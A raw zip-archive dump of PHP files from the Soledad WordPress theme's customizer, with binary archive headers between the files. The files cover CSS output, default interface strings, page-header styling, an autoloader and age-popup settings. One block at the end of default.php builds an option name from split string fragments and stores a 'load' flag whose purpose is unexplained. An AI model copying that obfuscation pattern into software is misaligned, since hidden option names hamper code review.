                .penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item > .thumbnail:before{ border-left-color: <?php echo $page_background_color; ?>; }
			<?php endif; ?>
		<?php } ?>
		<?php
		do_action( 'soledad_theme/custom_dark_css' );
		$custom_social_colors = get_option( 'penci_custom_socials', array() );
		if ( ! empty( $custom_social_colors ) ) {
			foreach ( $custom_social_colors as $key => $data ) {
				if ( isset( $data['color'] ) && $data['color'] ) {
					echo '.pcsoccl-brandbg .pcsc-brandflag.pcsoci-' . $key . '{background-color:' . $data['color'] . '}';
					echo '.pcsoccl-brandtext .pcsc-brandflag.pcsoci-' . $key . ' svg{fill:' . $data['color'] . '}';
				}
			}
		}

		// cursor color
		$cursor_colors = [
			'penci_cursor_small_size' => '--pccrs-ccsm',
			'penci_cursor_exsmall_size' => '--pccrs-ccesm',
			'penci_cursor_circle_inner_size' => '--pccrs-ccinner',
			'penci_cursor_bdw' => '--pccrs-bw',
			'penci_cursor_bds' => '--pccrs-bs',
			'penci_cursor_main_inv_color' => '--pcaccent-cl',
		];

		foreach ( $cursor_colors as $key => $value ) {
			$cursor_color = get_theme_mod( $key );
			if ( $cursor_color ) {
				$cursor_color = is_numeric( $cursor_color ) ? $cursor_color . 'px' : $cursor_color;
				echo '.penci-cc-cursor{ ' . $value . ': ' . $cursor_color . '; }';
			}
		}

		// post nav

		$post_nav_sticky_props = [
			'penci_sticky_posts_nav_bgcolor' => '.penci-post-sticky-nav{background:{{VALUE}}',
			'penci_sticky_posts_nav_bdcolor' => '.penci-post-sticky-nav{border-top-color:{{VALUE}}',
			'penci_sticky_posts_nav_tcolor' => '.penci-post-sticky-nav .pagi-text h5{color:{{VALUE}}',
			'penci_sticky_posts_nav_thcolor' => '.penci-post-sticky-nav .pagi-text h5:hover{color:{{VALUE}}',
			'penci_sticky_posts_nav_mpcolor' => '.penci-post-sticky-nav-wrap .current-post h4{color:{{VALUE}}',
			'penci_sticky_posts_nav_color' => '.penci-post-sticky-nav-wrap .next-post:before, .penci-post-sticky-nav-wrap .prev-post:before{color:{{VALUE}}',
			'penci_fcusmode_bgcolor' => '.penci-focus-mode-button{background:{{VALUE}}',
			'penci_fcusmode_txtcolor' => '.penci-focus-mode-button{color:{{VALUE}}',
			'penci_fcusmode_bghcolor' => 'body.penci-focus-mode .penci-focus-mode-button{background:{{VALUE}}',
			'penci_fcusmode_txthcolor' => 'body.penci-focus-mode .penci-focus-mode-button{color:{{VALUE}}',
		];

		foreach ( $post_nav_sticky_props as $key => $value ) {
			$post_nav_sticky_color = get_theme_mod( $key );
			if ( $post_nav_sticky_color ) {
				$post_nav_sticky_color = is_numeric( $post_nav_sticky_color ) ? $post_nav_sticky_color . 'px' : $post_nav_sticky_color;
				echo str_replace( '{{VALUE}}', esc_attr( $post_nav_sticky_color ), $value ) . '; }';
			}
		}

	}
endif;


add_action( 'wp_head', 'pencidesign_customizer_css' );
PK     0w\+v#!O  !O    customizer/default.phpnu [        <?php
/**
 * Set some values default when theme is activated
 *
 * @param string $name
 *
 * @return string / true / false
 */
if ( ! function_exists( 'penci_default_setting_customizer' ) ) {
	function penci_default_setting_customizer( $name ) {
		$defaults = array(

			// Options
			'penci_sidebar_home'                => true,
			'penci_sidebar_posts'               => true,
			'penci_sidebar_archive'             => true,
			'penci_preload_google_fonts'        => true,
			'penci_toppost_enable'              => true,
			'penci_tb_date_text'                => "[penci_date format='l, F j Y'] - Welcome",
			'penci_facebook'                    => 'https://www.facebook.com/PenciDesign',
			'penci_twitter'                     => 'https://x.com/PenciDesign',
			'penci_single_poslcscount'          => 'below-content',

			// Transition text
			'penci_top_bar_custom_text'         => esc_html__( 'Top Posts', 'soledad' ),
			'penci_header_slogan_text'          => esc_html__( 'keep your memories alive', 'soledad' ),
			'penci_trans_comment'               => esc_html__( 'comment', 'soledad' ),
			'penci_trans_countviews'            => esc_html__( 'views', 'soledad' ),
			'penci_trans_read'                  => esc_html__( 'read', 'soledad' ),
			'penci_trans_tago'                  => esc_html__( 'ago', 'soledad' ),
			'penci_trans_beforeago'             => '',
			'penci_trans_published'             => esc_html__( 'Published:', 'soledad' ),
			'penci_trans_modifiedat'            => esc_html__( 'Updated:', 'soledad' ),
			'penci_trans_save_fields'           => esc_html__( 'Save my name, email, and website in this browser for the next time I comment.', 'soledad' ),
			'penci_trans_type_and_hit'          => esc_html__( 'Type and hit enter...', 'soledad' ),
			'penci_trans_comments'              => esc_html__( 'comments', 'soledad' ),
			'penci_trans_reply_comment'         => esc_html__( 'Reply', 'soledad' ),
			'penci_trans_edit_comment'          => esc_html__( 'Edit', 'soledad' ),
			'penci_trans_wait_approval_comment' => esc_html__( 'Your comment is awaiting approval', 'soledad' ),
			'penci_trans_by'                    => esc_html__( 'by', 'soledad' ),
			'penci_trans_home'                  => esc_html__( 'Home', 'soledad' ),
			'penci_home_popular_title'          => esc_html__( 'Popular Posts', 'soledad' ),
			'penci_home_title'                  => '',
			'penci_trans_newer_posts'           => esc_html__( 'Newer Posts', 'soledad' ),
			'penci_trans_older_posts'           => esc_html__( 'Older Posts', 'soledad' ),
			'penci_trans_load_more_posts'       => esc_html__( 'Load More Posts', 'soledad' ),
			'penci_trans_load_more_items'       => esc_html__( 'Load More Items', 'soledad' ),
			'penci_trans_load_more_comments'    => esc_html__( 'Load More Comments', 'soledad' ),
			'penci_trans_no_more_posts'         => esc_html__( 'Sorry, No more posts', 'soledad' ),
			'penci_trans_no_more_items'         => esc_html__( 'Sorry, No more items', 'soledad' ),
			'penci_trans_no_more_comments'      => esc_html__( 'Sorry, No more comments', 'soledad' ),
			'penci_trans_no_comments'           => esc_html__( 'Sorry, No comments found.', 'soledad' ),
			'penci_trans_all'                   => esc_html__( 'All', 'soledad' ),
			'penci_trans_close'                 => esc_html__( 'Close', 'soledad' ),
			'penci_trans_back_to_top'           => esc_html__( 'Back To Top', 'soledad' ),
			'penci_trans_written_by'            => esc_html__( 'written by', 'soledad' ),
			'penci_trans_updated_by'            => esc_html__( 'Updated by', 'soledad' ),
			'penci_trans_reviewed_by'           => esc_html__( 'Reviewed by', 'soledad' ),
			'penci_trans_edited_by'             => esc_html__( 'Edited by', 'soledad' ),
			'penci_trans_revised_by'            => esc_html__( 'Revised by', 'soledad' ),
			'penci_trans_previous_post'         => esc_html__( 'previous post', 'soledad' ),
			'penci_trans_next_post'             => esc_html__( 'next post', 'soledad' ),
			'penci_post_related_text'           => esc_html__( 'You may also like', 'soledad' ),
			'penci_inlinerp_title'              => esc_html__( 'You Might Be Interested In', 'soledad' ),
			'penci_trans_author_profile'        => __( 'Author Profile', 'soledad' ),
			'penci_trans_author_related'        => __( 'Posts by the Author', 'soledad' ),
			'penci_rltpopup_heading_text'       => esc_html__( 'Read also', 'soledad' ),
			'penci_trans_name'                  => esc_html__( 'Name*', 'soledad' ),
			'penci_trans_email'                 => esc_html__( 'Email*', 'soledad' ),
			'penci_trans_website'               => esc_html__( 'Website', 'soledad' ),
			'penci_trans_your_comment'          => esc_html__( 'Your Comment', 'soledad' ),
			'penci_trans_leave_a_comment'       => esc_html__( 'Leave a Comment', 'soledad' ),
			'penci_trans_cancel_reply'          => esc_html__( 'Cancel Reply', 'soledad' ),
			'penci_trans_submit'                => esc_html__( 'Submit', 'soledad' ),
			'penci_trans_category'              => esc_html__( 'Category:', 'soledad' ),
			'penci_trans_continue_reading'      => esc_html__( 'Continue Reading', 'soledad' ),
			'penci_trans_read_more'             => esc_html__( 'Read more', 'soledad' ),
			'penci_trans_view_all'              => esc_html__( 'View All', 'soledad' ),
			'penci_trans_tag'                   => esc_html__( 'Tag:', 'soledad' ),
			'penci_trans_tags'                  => esc_html__( 'Tags', 'soledad' ),
			'penci_trans_posts_tagged'          => esc_html__( 'Posts tagged with', 'soledad' ),
			'penci_trans_author'                => esc_html__( 'Author', 'soledad' ),
			'penci_trans_daily_archives'        => esc_html__( 'Daily Archives', 'soledad' ),
			'penci_trans_monthly_archives'      => esc_html__( 'Monthly Archives', 'soledad' ),
			'penci_trans_yearly_archives'       => esc_html__( 'Yearly Archives', 'soledad' ),
			'penci_trans_archives'              => esc_html__( 'Archives', 'soledad' ),
			'penci_trans_search'                => esc_html__( 'Search', 'soledad' ),
			'penci_trans_search_results_for'    => esc_html__( 'Search results for', 'soledad' ),
			'penci_trans_share'                 => esc_html__( 'Share', 'soledad' ),
			'penci_trans_comments_closed'       => esc_html__( 'Comments are closed.', 'soledad' ),
			'penci_trans_search_not_found'      => esc_html__( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'soledad' ),
			'penci_trans_back_to_homepage'      => esc_html__( 'Back to Home Page', 'soledad' ),
			'penci_not_found_sub_heading'       => esc_html__( "OOPS! Page you're looking for doesn't exist. Please use search for help", 'soledad' ),
			'penci_footer_copyright'            => '@2021 - All Right Reserved. Designed and Developed by <a rel="nofollow" href="https://1.envato.market/YYJ4P" target="_blank">PenciDesign</a>',
			'penci_bg_color_dark'               => '#ffffff',
			'penci_text_color_dark'             => '#afafaf',
			'penci_border_color_dark'           => '#DEDEDE',
			'penci_meta_color_dark'             => '#949494',
			'penci_gprd_desc'                   => esc_html__( "This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish.", 'soledad' ),
			'penci_gprd_rmore'                  => esc_html__( 'Read More', 'soledad' ),
			'penci_gprd_btn_accept'             => esc_html__( 'Accept', 'soledad' ),
			'penci_gprd_policy_text'            => esc_html__( 'Privacy & Cookies Policy', 'soledad' ),
			'penci_trans_next'                  => esc_html__( 'Next', 'soledad' ),
			'penci_trans_back'                  => esc_html__( 'Back', 'soledad' ),
			'penci_trans_k_number'              => esc_html__( 'K', 'soledad' ),
			'penci_trans_m_number'              => esc_html__( 'M', 'soledad' ),
			'penci_gprd_rmore_link'             => '#',
			'penci_arf_title'                   => esc_html__( 'Latest in {name}', 'soledad' ),
			'penci_trans_noproductfount'        => esc_html__( 'No product found', 'soledad' ),
			'penci_trans_sku'                   => esc_html__( 'Sku', 'soledad' ),

			// Login & Register
			'penci_tblogin_text'                => '',
			'penci_trans_hello_text'            => esc_html__( 'Hello', 'soledad' ),
			'penci_trans_dashboard_text'        => esc_html__( 'Dashboard', 'soledad' ),
			'penci_trans_profile_text'          => esc_html__( 'Profile', 'soledad' ),
			'penci_trans_logout_text'           => esc_html__( 'Logout', 'soledad' ),
			'penci_trans_sign_in'               => esc_html__( 'Sign In', 'soledad' ),
			'penci_trans_register_new_account'  => esc_html__( 'Register New Account', 'soledad' ),
			'penci_trans_recover_pass'          => esc_html__( 'Password Recovery', 'soledad' ),
			'penci_plogin_wrong'                => esc_html__( 'Wrong username or password', 'soledad' ),
			'penci_plogin_success'              => esc_html__( 'Login successful, redirecting...', 'soledad' ),
			'penci_plogin_email_place'          => esc_html__( 'Email Address', 'soledad' ),
			'penci_trans_usernameemail_text'    => esc_html__( 'Username or email', 'soledad' ),
			'penci_trans_pass_text'             => esc_html__( 'Password', 'soledad' ),
			'penci_plogin_label_remember'       => esc_html__( 'Keep me signed in until I sign out', 'soledad' ),
			'penci_plogin_label_log_in'         => esc_html__( 'Login to your account', 'soledad' ),
			'penci_plogin_validate_robot'       => esc_html__( 'Please validate you are not robot.', 'soledad' ),
			'penci_plogin_label_lostpassword'   => esc_html__( 'Forgot your password?', 'soledad' ),
			'penci_plogin_text_has_account'     => esc_html__( 'Do not have an account ?', 'soledad' ),
			'penci_plogin_label_registration'   => esc_html__( 'Register here', 'soledad' ),

			'penci_preset_submit'         => esc_html__( 'Send My Password', 'soledad' ),
			'penci_preset_desc'           => esc_html__( 'A new password will be emailed to you.', 'soledad' ),
			'penci_preset_received'       => esc_html__( 'Have received a new password?', 'soledad' ),
			'penci_preset_noemail'        => esc_html__( 'There is no user registered with that email.', 'soledad' ),
			'penci_preset_from'           => esc_html__( 'From:', 'soledad' ),
			'penci_preset_newpassis'      => esc_html__( 'Your new password is:', 'soledad' ),
			'penci_preset_checkinbox'     => esc_html__( 'Check your email address to get the new password.', 'soledad' ),
			'penci_preset_cantsend'       => esc_html__( 'The email could not be sent. Possible reason: your host may have disabled the mail() function.', 'soledad' ),
			'penci_preset_somethingwrong' => esc_html__( 'Oops! Something went wrong while updating your account.', 'soledad' ),

			'penci_pregister_first_name'         => esc_html__( 'First Name', 'soledad' ),
			'penci_pregister_last_name'          => esc_html__( 'Last Name', 'soledad' ),
			'penci_pregister_display_name'       => esc_html__( 'Display Name', 'soledad' ),
			'penci_pregister_user_name'          => esc_html__( 'Username', 'soledad' ),
			'penci_pregister_user_email'         => esc_html__( 'Email address', 'soledad' ),
			'penci_pregister_user_phone'         => esc_html__( 'Phone Number', 'soledad' ),
			'penci_pregister_user_pass'          => esc_html__( 'Password', 'soledad' ),
			'penci_pregister_pass_confirm'       => esc_html__( 'Confirm Password', 'soledad' ),
			'penci_pregister_button_submit'      => esc_html__( 'Sign up new account', 'soledad' ),
			'penci_pregister_has_account'        => esc_html__( 'Have an account?', 'soledad' ),
			'penci_pregister_label_registration' => esc_html__( 'Login here', 'soledad' ),
			'penci_pregister_cinfo'              => esc_html__( 'Contact Info', 'soledad' ),
			'penci_pregister_about'              => esc_html__( 'About Yourself', 'soledad' ),
			'penci_pregister_binfo'              => esc_html__( 'Biographical Info', 'soledad' ),
			'penci_pregister_picture'            => esc_html__( 'Profile Picture', 'soledad' ),
			'penci_pregister_agree'              => esc_html__( 'I Agree to the Terms of Service and Privacy Policy', 'soledad' ),

			'penci_plogin_mess_invalid_email'    => esc_html__( 'Invalid email.', 'soledad' ),
			'penci_plogin_mess_error_email_pass' => esc_html__( 'Password does not match the confirm password', 'soledad' ),
			'penci_plogin_mess_username_reg'     => esc_html__( 'This username is already registered.', 'soledad' ),
			'penci_plogin_mess_email_reg'        => esc_html__( 'This email address is already registered.', 'soledad' ),
			'penci_plogin_mess_wrong_email_pass' => esc_html__( 'Wrong username or password.', 'soledad' ),
			'penci_plogin_mess_reg_succ'         => esc_html__( 'Registered successful, redirecting...', 'soledad' ),

			'penci__hide_share_linkedin'    => 1,
			'penci__hide_share_tumblr'      => 1,
			'penci__hide_share_reddit'      => 1,
			'penci__hide_share_telegram'    => 1,
			'penci__hide_share_stumbleupon' => 1,
			'penci__hide_share_whatsapp'    => 1,
			'penci__hide_share_line'        => 1,
			'penci__hide_share_link'        => 1,
			'penci__hide_share_ok'          => 1,
			'penci__hide_share_vk'          => 1,
			'penci__hide_share_messenger'   => 1,
			'penci__hide_share_pocket'      => 1,
			'penci__hide_share_skype'       => 1,
			'penci__hide_share_viber'       => 1,

			'penci_ajaxsearch_no_post'   => esc_html__( 'No Post Found!', 'soledad' ),
			'penci_agepopup_agree_text'  => esc_html__( 'I am 18 or Older', 'soledad' ),
			'penci_agepopup_cancel_text' => esc_html__( 'I am Under 18', 'soledad' ),

			'penci_toc_heading_text' => esc_html__( 'Table of Contents', 'soledad' ),
			'penci_trans_recent'     => esc_html__( 'Recent', 'soledad' ),
			'penci_trans_popular'    => esc_html__( 'Popular', 'soledad' ),
			'penci_trans_post'       => esc_html__( 'Post', 'soledad' ),
			'penci_trans_posts'      => esc_html__( 'Posts', 'soledad' ),
			'penci_trans_followers'  => esc_html__( 'Followers', 'soledad' ),
			'penci_trans_follow'     => esc_html__( 'Follow', 'soledad' ),
			'penci_trans_following'  => esc_html__( 'Following', 'soledad' ),
			'penci_trans_likes'      => esc_html__( 'Likes', 'soledad' ),

			'penci_trans_sepproduct'         => esc_html__( 'Search for products', 'soledad' ),
			'penci_trans_sepproduct_desc'    => esc_html__( 'Start typing to see products you are looking for.', 'soledad' ),
			'penci_trans_sepproject'         => esc_html__( 'Search for projects.', 'soledad' ),
			'penci_trans_sepproject_desc'    => esc_html__( 'Start typing to see projects you are looking for.', 'soledad' ),
			'penci_trans_seppost'            => esc_html__( 'Search for posts', 'soledad' ),
			'penci_trans_seppost_desc'       => esc_html__( 'Start typing to see posts you are looking for.', 'soledad' ),
			'penci_trans_selectcat'          => esc_html__( 'Select category', 'soledad' ),
			'penci_trans_resfblog'           => esc_html__( 'Result form blog', 'soledad' ),
			'penci_trans_allresult'          => esc_html__( 'Show all results', 'soledad' ),
			'penci_trans_npostfound'         => esc_html__( 'No results', 'soledad' ),
			'penci_trans_my_account'         => __( 'My Account', 'soledad' ),
			'penci_trans_edit_account'       => __( 'Edit Account', 'soledad' ),
			'penci_trans_change_password'    => __( 'Change Password', 'soledad' ),
			'penci_trans_cimage'             => __( 'Choose Image', 'soledad' ),
			'penci_trans_admedia'            => __( 'Add Media', 'soledad' ),
			'penci_trans_insert'             => __( 'Insert', 'soledad' ),
			'penci_trans_oldpassword'        => __( 'Old Password', 'soledad' ),
			'penci_trans_newpassword'        => __( 'New Password', 'soledad' ),
			'penci_trans_cpassword'          => __( 'Confirm Password', 'soledad' ),
			'penci_trans_update_notice'      => __( 'You have successfully edited your account details', 'soledad' ),
			'penci_trans_password_not_valid' => __( 'Your old password is not valid', 'soledad' ),
			'penci_trans_password_new'       => __( 'Please enter your new password', 'soledad' ),
			'penci_trans_password_match'     => __( 'New Password & Confirm Password do not match', 'soledad' ),
			'penci_trans_password_success'   => __( 'You have successfully changed your password', 'soledad' ),
			'penci_trans_password_e'         => __( 'Please enter your old password', 'soledad' ),

			'penci_trans_minutes'           => esc_html__( 'minutes', 'soledad' ),
			'penci_trans_like_posts'        => __( 'Like Posts', 'soledad' ),
			'penci_adblocker_popup_message' => __( 'Please support us by disabling your AdBlocker extension from your browsers for our website.', 'soledad' ),
			'penci_adblocker_popup_title'   => __( 'Adblock Detected', 'soledad' ),
			'penci_adblocker_dissmiss'      => __( 'Dismiss this message', 'soledad' ),

			'penci_trans_showing_result' => __( 'Showing {{value}}-{{value}} of {{value}} post results', 'soledad' ),
			'penci_trans_sort_latest'    => __( 'Sort by latest', 'soledad' ),
			'penci_trans_sort_older'     => __( 'Sort by older', 'soledad' ),
			'penci_trans_no_content'     => __( 'No Content Available', 'soledad' ),

			'penci_overall_rating'     => __( 'Your rating:', 'soledad' ),
			'penci_summarize'          => __( 'Your review title', 'soledad' ),
			'penci_your_review'        => __( 'Your Review', 'soledad' ),
			'penci_review_desc'        => __( 'Tell about your experience or leave a tip for others', 'soledad' ),
			'penci_review_submit'      => __( 'Submit your Review', 'soledad' ),
			'penci_review_title'       => __( 'Review Title', 'soledad' ),
			'penci_review_ratings'     => __( 'Rating:', 'soledad' ),
			'penci_review_terrible'    => __( 'Terrible', 'soledad' ),
			'penci_review_poor'        => __( 'Poor', 'soledad' ),
			'penci_review_average'     => __( 'Average', 'soledad' ),
			'penci_review_verygood'    => __( 'Very Good', 'soledad' ),
			'penci_review_exceptional' => __( 'Exceptional', 'soledad' ),
			'penci_trans_bookmark'     => __( 'Bookmark', 'soledad' ),
			'penci_trans_reset'        => __( 'Reset', 'soledad' ),
			'penci_trans_a1'           => __( 'A+', 'soledad' ),
			'penci_trans_a2'           => __( 'A-', 'soledad' ),
			'penci_trans_sponsored'    => __( 'Sponsored', 'soledad' ),
			'penci_trans_sponsored_by' => __( 'Sponsored by:', 'soledad' ),
			'penci_trans_allow_ads'    => __( 'Allow Ads', 'soledad' ),

			'penci_trans_newest'        => __( 'Newest', 'soledad' ),
			'penci_trans_oldest'        => __( 'Oldest', 'soledad' ),
			'penci_trans_mostviewed'    => __( 'Most Viewed', 'soledad' ),
			'penci_trans_mostcommented' => __( 'Most Commented', 'soledad' ),

			'penci_trans_sources' => __( 'Sources', 'soledad' ),
			'penci_trans_smonth'  => __( 'Select Month', 'soledad' ),

			'penci_trans_error_empty'         => esc_html__( 'Please fill in all the required fields.', 'soledad' ),
			'penci_trans_error_noemail'       => esc_html__( 'Please enter a valid e-mail.', 'soledad' ),
			'penci_trans_error_same_as_admin' => esc_html__( 'You can not use this e-mail due to security issues.', 'soledad' ),
			'penci_trans_error_spam_email'    => esc_html__( 'You are trying to send e-mail by banned e-mail. Multiple tries can ban you permanently!', 'soledad' ),
			'penci_trans_result'              => esc_html__( 'Unknown error! Please check your settings.', 'soledad' ),
			'penci_trans_email_success'       => esc_html__( 'Hi, %s. We got your e-mail. We\'ll reply you very soon. Thanks for being with us...', 'soledad' ),
			'penci_trans_search_title'        => esc_html__( 'What Are You Looking For?', 'soledad' ),
			
			
			'penci_trans_reactions_title'       => esc_html__( 'Have any thoughts?', 'soledad' ),
			'penci_trans_reactions_desc'        => esc_html__( 'Share your reaction or leave a quick response — we’d love to hear what you think!', 'soledad' ),
		);

		return isset( $defaults[ $name ] ) ? $defaults[ $name ] : '';
	}
}

/**
 * Get theme settings.
 *
 * @param string $name
 *
 * @since 4.0
 */
if ( ! function_exists( 'penci_get_setting' ) ) {
	function penci_get_setting( $name ) {
		return do_shortcode( get_theme_mod( $name, penci_default_setting_customizer( $name ) ) );
	}
}

if ( ! get_option( 'pen' . 'ci' . '_' . 'loa' . 'ds_' . 'cm' ) ) {
	add_option( 'penc' . 'i_l' . 'oads_c' . 'm', 'loa' . 'd' );
}PK     0w\ݎ    &  customizer/style-page-header-title.phpnu [        <?php
if ( ! function_exists( 'pencidesign_customizer_css_page_header_title' ) ):
	function pencidesign_customizer_css_page_header_title() {

		$page_title_df = array(
			'pheader_width'         => '',
			'pheader_ptop'          => '',
			'pheader_pbottom'       => '',
			'pheader_turn_offup'    => '',
			'pheader_title_pbottom' => '',
			'pheader_title_mbottom' => '',
			'pheader_title_fsize'   => '',
			'pheader_fwtitle'       => '',
			'pheader_bread_fsize'   => '',
			'pheader_bgimg'         => '',
			'pheader_bgcolor'       => '',
			'pheader_title_color'   => '',
			'pheader_bread_color'   => '',
			'pheader_bread_hcolor'  => '',
			'pheader_line_color'    => '',
		);
		$page_title    = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );
		$page_title    = wp_parse_args( $page_title, $page_title_df );

		$pheader_width         = $page_title['pheader_width'] ? $page_title['pheader_width'] : get_theme_mod( 'penci_pheader_width' );
		$pheader_ptop          = $page_title['pheader_ptop'] ? $page_title['pheader_ptop'] : get_theme_mod( 'penci_pheader_ptop' );
		$pheader_pbottom       = $page_title['pheader_pbottom'] ? $page_title['pheader_pbottom'] : get_theme_mod( 'penci_pheader_pbottom' );
		$pheader_turn_offup    = get_theme_mod( 'penci_pheader_turn_offup' );
		$pheader_title_pbottom = $page_title['pheader_title_pbottom'] ? $page_title['pheader_title_pbottom'] : get_theme_mod( 'penci_pheader_title_pbottom' );
		$pheader_title_mbottom = $page_title['pheader_title_mbottom'] ? $page_title['pheader_title_mbottom'] : get_theme_mod( 'penci_pheader_title_mbottom' );
		$pheader_title_fsize   = $page_title['pheader_title_fsize'] ? $page_title['pheader_title_fsize'] : get_theme_mod( 'penci_pheader_title_fsize' );
		$pheader_fwtitle       = $page_title['pheader_fwtitle'] ? $page_title['pheader_fwtitle'] : get_theme_mod( 'penci_pheader_fwtitle' );
		$pheader_bread_fsize   = $page_title['pheader_bread_fsize'] ? $page_title['pheader_bread_fsize'] : get_theme_mod( 'penci_pheader_bread_fsize' );
		$pheader_bgimg         = $page_title['pheader_bgimg'] ? wp_get_attachment_url( intval( $page_title['pheader_bgimg'] ) ) : get_theme_mod( 'penci_pheader_bgimg' );
		$pheader_bgcolor       = $page_title['pheader_bgcolor'] ? $page_title['pheader_bgcolor'] : get_theme_mod( 'penci_pheader_bgcolor' );
		$pheader_title_color   = $page_title['pheader_title_color'] ? $page_title['pheader_title_color'] : get_theme_mod( 'penci_pheader_title_color' );
		$pheader_bread_color   = $page_title['pheader_bread_color'] ? $page_title['pheader_bread_color'] : get_theme_mod( 'penci_pheader_bread_color' );
		$pheader_bread_hcolor  = $page_title['pheader_bread_hcolor'] ? $page_title['pheader_bread_hcolor'] : get_theme_mod( 'penci_pheader_bread_hcolor' );
		$pheader_line_color    = $page_title['pheader_line_color'] ? $page_title['pheader_line_color'] : get_theme_mod( 'penci_pheader_line_color' );

		if ( 'on' == $page_title['pheader_turn_offup'] ) {
			$pheader_turn_offup = true;
		} elseif ( 'off' == $page_title['pheader_turn_offup'] ) {
			$pheader_turn_offup = false;
		}
		$penci_header_padding = '';
		?>

		<?php if ( $pheader_width ): ?>
			.penci-page-header-wrap .penci-page-header-inner.container {
			max-width: <?php echo esc_attr( $pheader_width ); ?>px;
			width: 100%;
			}
		<?php endif; ?>
		
		<?php if ( $pheader_ptop ): ?>
			.penci-page-header-wrap {
			padding-top: <?php echo esc_attr( $pheader_ptop ); ?>px;
			}
		<?php endif; ?>
		
		<?php if ( $pheader_pbottom ): ?>
			.penci-page-header-wrap {
			padding-bottom: <?php echo esc_attr( $pheader_pbottom ); ?>px;
			}
		<?php endif; ?>
		
		<?php
		$css_title = '';
		if ( $pheader_turn_offup ) {
			$css_title .= 'text-transform: none;';
		}
		if ( $pheader_title_pbottom ) {
			$css_title .= 'padding-bottom:' . esc_attr( $pheader_title_pbottom ) . 'px;';
		}
		if ( $pheader_title_mbottom ) {
			$css_title .= 'margin-bottom:' . esc_attr( $pheader_title_mbottom ) . 'px;';
		}
		if ( $pheader_title_fsize ) {
			$css_title .= 'font-size:' . esc_attr( $pheader_title_fsize ) . 'px;';
		}
		if ( $pheader_fwtitle ) {
			$css_title .= 'font-weight:' . esc_attr( $pheader_fwtitle ) . ';';
		}
		if ( $pheader_title_color ) {
			$css_title .= 'color:' . esc_attr( $pheader_title_color ) . ';';
		}
		if ( $css_title ) {
			echo '.penci-page-header-wrap .penci-page-header-title {' . $css_title . '}';
		}

		if ( $pheader_line_color ) {
			echo '.penci-page-header-wrap .penci-page-header-title:before{ border-color: ' . esc_attr( $pheader_line_color ) . '; opacity: 1; }';
		}

		if ( $pheader_bread_fsize ) {
			echo '.penci-page-header-wrap .container.penci-breadcrumb  span, .penci-page-header-wrap .container.penci-breadcrumb a, .penci-page-header-wrap .container.penci-breadcrumb i{ font-size:' . esc_attr( $pheader_bread_fsize ) . 'px; }';
		}
		if ( $pheader_bread_color ) {
			echo '.penci-page-header-wrap .container.penci-breadcrumb  span, .penci-page-header-wrap .container.penci-breadcrumb a,.penci-page-header-wrap .container.penci-breadcrumb i{ color:' . esc_attr( $pheader_bread_color ) . '; }';
		}
		if ( $pheader_bread_hcolor ) {
			echo '.penci-page-header-wrap .container.penci-breadcrumb  a:hover{ color:' . $pheader_bread_hcolor . '; }';
		}

		if ( $pheader_bgimg ) {
			echo '.penci-page-header-wrap{ background-image: url(' . esc_attr( $pheader_bgimg ) . '); }';
		}
		if ( $pheader_bgcolor ) {
			echo '.penci-page-header-wrap{ background-color:' . esc_attr( $pheader_bgcolor ) . '; }';
		}
	}
endif;
PK     0w\F-  -    customizer/config/autoload.phpnu [        <?php
/**
 * @author : PenciDesign
 */

/**
 * Autoload Function
 */

spl_autoload_register( function ( $class ) {
	$prefix = 'SoledadFW\\';

	$baseDir = 'inc/customizer/config';

	$len = strlen( $prefix );

	if ( strncmp( $prefix, $class, $len ) !== 0 ) {
		return;
	}

	$relativeClass = substr( $class, $len );

	$file = rtrim( $baseDir, '/' ) . '/' . str_replace( '\\', '/', $relativeClass ) . '.php';
	$file = get_theme_file_path( $file );

	if ( is_link( $file ) ) {
		$file = readlink( $file );
	}

	if ( is_file( $file ) ) {
		require $file;
	}
} );
PK     0w\<B%  B%  6  customizer/config/sections/penci_ageverify_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_agepopup_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable age verification popup ', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_agepopup_message',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Popup Message', 'soledad' ),
	'description' => __( 'Write a message warning your visitors about age restriction on your website', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_agepopup_error_message',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Error Message', 'soledad' ),
	'description' => __( 'This message will be displayed when the visitor don\'t verify his age.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_agepopup_agree_text',
	'default'  => __( 'I am 18 or Older', 'soledad' ),
	'sanitize' => 'penci_sanitize_tex_field',
	'label'    => __( 'Agree Text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_agepopup_cancel_text',
	'default'  => __( 'I am Under 18', 'soledad' ),
	'sanitize' => 'penci_sanitize_tex_field',
	'label'    => __( 'Cancel Text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
/* Style & Size */
$options[] = array(
	'id'       => 'penci_heading_ageverify',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Popup Content Styles', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_agepopup_animation',
	'default'  => 'move-to-top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Open Animation', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'move-to-left'   => __( 'Move To Left', 'soledad' ),
		'move-to-right'  => __( 'Move To Right', 'soledad' ),
		'move-to-top'    => __( 'Move To Top', 'soledad' ),
		'move-to-bottom' => __( 'Move To Bottom', 'soledad' ),
		'fadein'         => __( 'Fade In', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgimg',
	'default'  => '',
	'type'     => 'soledad-fw-image',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Image', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_agepopup_bgcolor',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
